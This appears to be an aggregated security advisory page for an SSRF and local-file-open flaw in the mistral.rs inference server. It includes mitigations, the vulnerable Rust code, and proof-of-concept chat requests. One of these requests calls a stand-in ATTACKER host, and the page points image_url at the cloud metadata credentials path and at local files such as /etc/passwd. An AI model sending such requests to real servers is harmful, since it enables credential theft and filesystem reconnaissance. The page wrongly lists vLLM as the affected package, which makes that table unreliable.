mistral.rs, a Rust LLM inference server exposing an OpenAI-compatible chat API, fetches any request-supplied image_url or audio_url with no host or IP validation and will also open a file:// URL or any existing local path — meaning an unauthenticated client can force the server to hit internal services or the cloud metadata endpoint (SSRF) and can probe the filesystem for which files exist via differing error responses. This affects any default, unauthenticated vision/audio deployment of mistral.rs, and the advisory documents a working end-to-end SSRF PoC plus a DoS vector from unbounded, untimed reads on both the HTTP fetch and local-file paths. There's no EPSS score or CISA KEV listing yet and no public exploit or Nuclei template has surfaced, but the bar to exploit is a single unauthenticated POST to /v1/chat/completions, and the package carries 90 downstream dependents and 97 other CVEs, so exposure adds up fast for anyone running it internet-facing. Upgrade to mistralrs-server-core 0.8.18 immediately; until then, put the inference endpoint behind authentication or a reverse proxy, block outbound egress to RFC1918/link-local ranges and 169.254.169.254 from the host running mistral.rs, and watch logs for image_url/audio_url values that use non-http(s) schemes or bare filesystem paths.
What is the risk?
High practical risk despite the absence of KEV listing or EPSS data: the attack requires no authentication, no special AI/ML knowledge, and a single crafted JSON request against a default configuration (server is unauthenticated by default). Impact is split between a blind SSRF primitive (reach internal services and cloud metadata, egress-only — no direct data return to attacker) and an unauthenticated file-existence/type oracle over the server filesystem, plus a resource-exhaustion DoS from unbounded reads with no timeout. CVSS 7.2 (AV:N/AC:L/PR:N/UI:N) reflects the low complexity and lack of required privileges. Exposure scales with how many vision/audio mistral.rs deployments are reachable from untrusted networks — likely significant given 90 downstream dependents.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| vLLM | cargo | <= 0.8.17 | 0.8.18 |
Do you use vLLM? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Upgrade mistralrs-server-core to 0.8.18 or later, where request-supplied media should be restricted and SSRF/local-file resolution addressed. 2) Until patched, do not expose the vision/audio chat endpoint directly to untrusted networks — require authentication (reverse proxy with auth, API gateway) since the server has none by default. 3) Apply network-level egress controls from the host/container running mistral.rs: deny outbound connections to RFC1918/loopback/link-local ranges and explicitly block 169.254.169.254 (and equivalent cloud metadata addresses). 4) Detection: alert on outbound HTTP requests from the inference host to internal/private IP ranges, and on inbound
image_url/audio_urlvalues containingfile://, bare filesystem paths, or targeting non-public IPs; watch for error-message patterns like 'file not found on server' vs image-decode failures in logs, which indicate file-oracle probing. 5) Consider running the service under reduced filesystem permissions so a file-open primitive has minimal reach even pre-patch.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-wfgq-w7cq-qj7j?
mistral.rs, a Rust LLM inference server exposing an OpenAI-compatible chat API, fetches any request-supplied image_url or audio_url with no host or IP validation and will also open a file:// URL or any existing local path — meaning an unauthenticated client can force the server to hit internal services or the cloud metadata endpoint (SSRF) and can probe the filesystem for which files exist via differing error responses. This affects any default, unauthenticated vision/audio deployment of mistral.rs, and the advisory documents a working end-to-end SSRF PoC plus a DoS vector from unbounded, untimed reads on both the HTTP fetch and local-file paths. There's no EPSS score or CISA KEV listing yet and no public exploit or Nuclei template has surfaced, but the bar to exploit is a single unauthenticated POST to /v1/chat/completions, and the package carries 90 downstream dependents and 97 other CVEs, so exposure adds up fast for anyone running it internet-facing. Upgrade to mistralrs-server-core 0.8.18 immediately; until then, put the inference endpoint behind authentication or a reverse proxy, block outbound egress to RFC1918/link-local ranges and 169.254.169.254 from the host running mistral.rs, and watch logs for image_url/audio_url values that use non-http(s) schemes or bare filesystem paths.
Is GHSA-wfgq-w7cq-qj7j actively exploited?
No confirmed active exploitation of GHSA-wfgq-w7cq-qj7j has been reported, but organizations should still patch proactively.
How to fix GHSA-wfgq-w7cq-qj7j?
1) Upgrade mistralrs-server-core to 0.8.18 or later, where request-supplied media should be restricted and SSRF/local-file resolution addressed. 2) Until patched, do not expose the vision/audio chat endpoint directly to untrusted networks — require authentication (reverse proxy with auth, API gateway) since the server has none by default. 3) Apply network-level egress controls from the host/container running mistral.rs: deny outbound connections to RFC1918/loopback/link-local ranges and explicitly block 169.254.169.254 (and equivalent cloud metadata addresses). 4) Detection: alert on outbound HTTP requests from the inference host to internal/private IP ranges, and on inbound `image_url`/`audio_url` values containing `file://`, bare filesystem paths, or targeting non-public IPs; watch for error-message patterns like 'file not found on server' vs image-decode failures in logs, which indicate file-oracle probing. 5) Consider running the service under reduced filesystem permissions so a file-open primitive has minimal reach even pre-patch.
What systems are affected by GHSA-wfgq-w7cq-qj7j?
This vulnerability affects the following AI/ML architecture patterns: model serving, LLM inference APIs, vision/audio multimodal deployments, agent frameworks and RAG pipelines that forward user-supplied media URLs.
What is the CVSS score for GHSA-wfgq-w7cq-qj7j?
GHSA-wfgq-w7cq-qj7j has a CVSS v3.1 base score of 7.2 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0037 Data from Local System AML.T0040 AI Model Inference API Access AML.T0049 Exploit Public-Facing Application Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default. ### Details `parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it: ```rust let url = if let Ok(url) = url::Url::parse(url_unparsed) { url } else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute) url::Url::from_file_path(std::path::absolute(url_unparsed)?) ... } else { bail!(...) }; let bytes = if url.scheme() == "http" || url.scheme() == "https" { reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check } else if url.scheme() == "file" { File::open(path).await ... read // arbitrary local file read } else if url.scheme() == "data" { ... base64 ... }; ``` `reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`. The value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(&url_unparsed)` / `parse_audio_url(&url_unparsed)` on the chat message content, at request time. For reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither. ### Suggested fix Restrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size. ### Proof of concept On a default vision deployment, unauthenticated: SSRF - the server fetches the attacker URL during request processing: ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} ``` An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed. Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors): existing file (opened and read, then fails to decode): ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"/etc/hostname"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} -> 500, response body message: "The image format could not be determined" ``` nonexistent path: ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"/nonexistent"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} -> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..." ``` The difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim. ### Impact An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure. Availability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.
Exploitation Scenario
An attacker with network access to a public-facing mistral.rs vision endpoint sends a chat completion request with `image_url` set to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` or an internal service address; the server-side fetch (blind SSRF) reaches that target during request processing, letting the attacker pivot into cloud credential theft or internal service discovery even though the response body isn't echoed back. Separately, the attacker submits `image_url` values pointing at sensitive local paths (e.g., `/etc/passwd`, application config files, SSH keys) and distinguishes 'file exists' (500 with an image-decode error) from 'not found' (500 with a distinct 'file not found' message), building a map of the server's filesystem layout as reconnaissance for further compromise — all without authentication.
Weaknesses (CWE)
CWE-73 External Control of File Name or Path
Primary
CWE-918 Server-Side Request Forgery (SSRF)
Primary
CWE-73 — External Control of File Name or Path: The product allows user input to control or influence paths or file names that are used in filesystem operations.
- [Architecture and Design] When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
- [Architecture and Design, Operation] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L References
Timeline
Related Vulnerabilities
CVE-2024-9053 9.8 vllm: RCE via unsafe pickle deserialization in RPC server
Same package: vllm CVE-2024-11041 9.8 vllm: RCE via unsafe pickle deserialization in MessageQueue
Same package: vllm CVE-2026-25960 9.8 vllm: SSRF allows internal network access
Same package: vllm CVE-2025-47277 9.8 vLLM: RCE via exposed TCPStore in distributed inference
Same package: vllm CVE-2025-32444 9.8 vLLM: RCE via pickle deserialization on ZeroMQ
Same package: vllm